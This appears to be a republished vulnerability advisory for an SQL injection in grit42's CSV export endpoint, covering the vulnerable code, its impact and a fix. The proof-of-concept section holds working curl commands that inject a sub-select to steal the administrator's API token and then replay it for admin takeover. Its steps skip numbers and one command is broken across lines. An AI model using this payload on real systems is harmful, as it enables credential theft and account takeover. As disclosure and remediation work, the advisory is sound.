5 minutes
CVE-2026-12188: grit42 — SQL Injection in CSV Export Endpoint
⚠ Replicated advisory. This post reproduces an advisory originally researched and published under the Thoropass Vulnerability Research Program. It is republished here for reference. The original disclosure followed coordinated vulnerability disclosure and the rules of the CVE Program.
🔗 Original advisory: https://github.com/heylaika/vuln-research-program/tree/main/2026/CVE-2026-12188%20-%20grit42%20-%20SQL%20Injection%20in%20CSV%20Export%20Endpoint
📋 CVE record: CVE-2026-12188
Advisory Information
| Researcher | Natan Morette on behalf of Thoropass |
| Product | grit - Open-source scientific research data management platform built by grit42 A/S. The platform stores and visualises data from pre-clinical drug discovery workflows: compounds, batches, assay models, experiment results, and dynamically-typed data tables. |
| Affected Version | 0.0.x through 0.11.0 (every public release; sink introduced in initial commit 79b9dfa) |
| Endpoint | GET /api/grit/<engine>/<resource>/export (any resource declared with resources_with_export) |
| Vulnerability Type | CWE-89: SQL Injection |
| CVE ID | CVE-2026-12188 |
Vulnerability Summary
The CSV export action in grit’s GritEntityController splats the user-controlled params[:columns] into Model.unscoped.select(*params[:columns]), then wraps the resulting relation in a PostgreSQL COPY (...) TO STDOUT WITH CSV HEADER statement. Rails’ select accepts raw SQL fragments, so any authenticated user can inject sub-selects into the SELECT clause and exfiltrate any column the database role can see.
This includes crypted_password, single_access_token, forgot_token, activation_token, and two_factor_token from grit_core_users. Because grit accepts the static single_access_token as a permanent Authorization: Bearer credential, a leaked admin token converts a zero-role account into a full Administrator in a single HTTP request.
Technical Analysis
➤ Vulnerable Endpoint: GET /api/grit/core/origins/export?columns[]=... (and every sibling resource with resources_with_export in routes: locations, countries, vocabulary_items, units, data_types, batches, synonyms, compounds, compound_types, data_table_rows, plus the assays experiments#export).
➤ Authentication: any active user. No specific role required. The before_action chain applies :require_user but :check_read is restricted to index / show, so a zero-role user can hit export even when blocked from index.
Vulnerable Code
modules/core/backend/app/controllers/concerns/grit/core/grit_entity_controller.rb:
def export
query = index_entity_for_export(params)
return if query.nil?
if params[:columns]&.length
klass = controller_path.classify.constantize
query = klass.unscoped.select(*params[:columns]).from(query, :sub) # <- SQLi sink
end
file = csv_from_query(query)
send_data file.read, filename: export_file_name, type: "text/csv"
end
def csv_from_query(query)
csv_sql = "COPY (#{query.to_sql}) TO STDOUT WITH DELIMITER ',' CSV HEADER"
...
end
Model.select(string) is documented to accept raw SQL fragments and intentionally bypasses disallow_raw_sql!. Whatever the attacker writes into columns[] ends up in the SELECT clause, and COPY (...) TO STDOUT streams the resulting rows directly into the HTTP response body.
Proof of Concept
Prerequisites
- A running grit instance reachable over HTTP/S.
- One active user account at the lowest possible privilege level (zero roles is sufficient).
1. Authenticate as any low-privilege user and capture the token.
curl -s -c /tmp/lowpriv -X POST http://localhost:3000/api/grit/core/user_session -H 'Content-Type: application/json' -d '{"user_session":{"login":"low@example.com","password":"LowPriv1!"}}' > /dev/null; set LOWPRIV_TOKEN (curl -s -b /tmp/lowpriv http://localhost:3000/api/grit/core/user_session | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])"); echo "Captured Token: $LOWPRIV_TOKEN"

3. Fire the SQLi to read admin credentials from grit_core_users.
curl -G "http://localhost:3000/api/grit/core/origins/export" -H "Authorization: Bearer $LOWPRIV_TOKEN" --dat
a-urlencode "columns[]=name" --data-urlencode "columns[]=(SELECT single_access_token FROM grit_core_users WHERE
login='admin') AS admin_token"

Server response:
HTTP/1.1 200 OK
Content-Type: text/csv
Name,Admin token
ADMIN,GvRUmqQI4jM_gP3NjHTl
The Token cell is the admin’s permanent single_access_token.
5. Confirm full administrator takeover by replaying the leaked token as a Bearer credential.
curl -H "Authorization: Bearer GvRUmqQI4jM_gP3NjHTl" \
"http://localhost:3000/api/grit/core/users?scope=user_administration"

The response now lists every user including their stored single_access_token, forgot_token, and activation_token values. The attacker has read-write administrator access.
Impact
A remote attacker holding any active grit account can:
- Read every column of every table the database role can see, including hashed passwords (
grit_core_users.crypted_password), permanent API tokens (single_access_token), pending password-reset tokens (forgot_token), pending activation tokens (activation_token), and second-factor tokens (two_factor_token). - Replay a leaked admin
single_access_tokenasAuthorization: Bearer, gaining permanent administrator access without needing to touch the password reset or 2FA flows. - As administrator, create, modify, or destroy any user, role, vocabulary, compound, batch, assay model, experiment, or attachment on the platform.
- On the official
grit42com/gritDocker stack, additionally read arbitrary files inside the database container viapg_read_file(), since the bundled DB role retainsSUPERUSER.
In a multi-tenant CRO deployment of grit, a single role-less account (a scientist’s free-tier login) is enough to exfiltrate every project’s research data and impersonate the platform administrator.
Remediation
The minimal fix is to whitelist params[:columns] against the model’s actual schema and quote the survivors:
def export
klass = controller_path.classify.constantize
query = index_entity_for_export(params)
return if query.nil?
if params[:columns].is_a?(Array) && params[:columns].any?
allowed = klass.entity_columns.map { |c| c[:name] }.to_set
requested = params[:columns].map(&:to_s).select { |c| allowed.include?(c) }
quoted = requested.map { |c| "sub.#{klass.connection.quote_column_name(c)}" }
query = klass.unscoped.select(*quoted).from(query, :sub)
end
file = csv_from_query(query)
send_data file.read, filename: export_file_name, type: "text/csv"
end
References
- Source: https://github.com/grit42/grit
- Vulnerable controller: https://github.com/grit42/grit/blob/main/modules/core/backend/app/controllers/concerns/grit/core/grit_entity_controller.rb
- Docker image: https://hub.docker.com/r/grit42com/grit
- Starter compose: https://github.com/grit42/grit-starter
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- OWASP A03: https://owasp.org/Top10/A03_2021-Injection/
⚠️ Disclaimer
The vulnerability was identified through authorized security testing. The proof of concept is provided to help defenders validate their exposure and verify remediation.
Thoropass follows coordinated vulnerability disclosure (CVD) principles. Vulnerabilities are reported privately to maintainers, reasonable time is provided for remediation, and public advisories are released after coordination or fix availability.
About Thoropass
Thoropass delivers enterprise-grade audits with AI-native speed and precision. Designed from day one to integrate auditors, automation, and infosec workflows in a single, closed-loop system, no add-ons, no handoffs.
Our experienced penetration testing team proactively discovers vulnerabilities in web applications, APIs, and infrastructure — helping organizations secure their systems before attackers find weaknesses.